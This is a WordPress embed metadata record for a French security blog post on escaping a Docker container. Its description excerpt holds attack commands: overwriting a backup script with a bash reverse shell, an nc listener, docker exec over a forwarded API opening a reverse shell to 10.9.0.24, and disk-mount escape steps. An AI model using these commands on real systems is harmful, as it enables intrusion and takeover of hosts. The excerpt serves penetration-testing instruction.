{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Sortir d'un container docker - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"DYxKl9dkhU\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/sortir-dun-container-docker\/\">Sortir d&#8217;un container docker<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/sortir-dun-container-docker\/embed\/#?secret=DYxKl9dkhU\" width=\"600\" height=\"338\" title=\"&laquo; Sortir d&#8217;un container docker &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"DYxKl9dkhU\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"Nous pouvons voir que nous sommes dans un docker en allant dans \/opt\/backups Nous pouvons sortir en \u00e9crasant backup.sh echo &#8220;#!\/bin\/bash&#8221; > backup.sh echo &#8220;\/bin\/bash -c &#8216;bash -i >&#038; \/dev\/tcp\/\/1234 0>&#038;1&#8242;&#8221; >> backup.sh Il existe aussi des scripts d&#8217;\u00e9num\u00e9ration des dockers Voir la vuln\u00e9rabilit\u00e9 CVE-2019-14271 parfois nous pouvons nous connecter \u00e0 un serveur docker \u00e0 partir de la machine de l&#8217;attaquant nc -nlvp 4444 ssh -fN -p 2222 L 8080:localhost:8080 user@10.10.10.10 docker -H tcp:\/\/localhost:8080 container ls docker -H tcp:\/\/localhost:8080 container exec containername whoami docker -H tcp:\/\/localhost:8080 container exec containername bash -c &quot;bash -i &amp;&gt;\/dev\/tcp\/10.9.0.24\/4444 0&gt;&amp;1&quot; fdisk -l mkdir \/mnt\/tmp; mount"}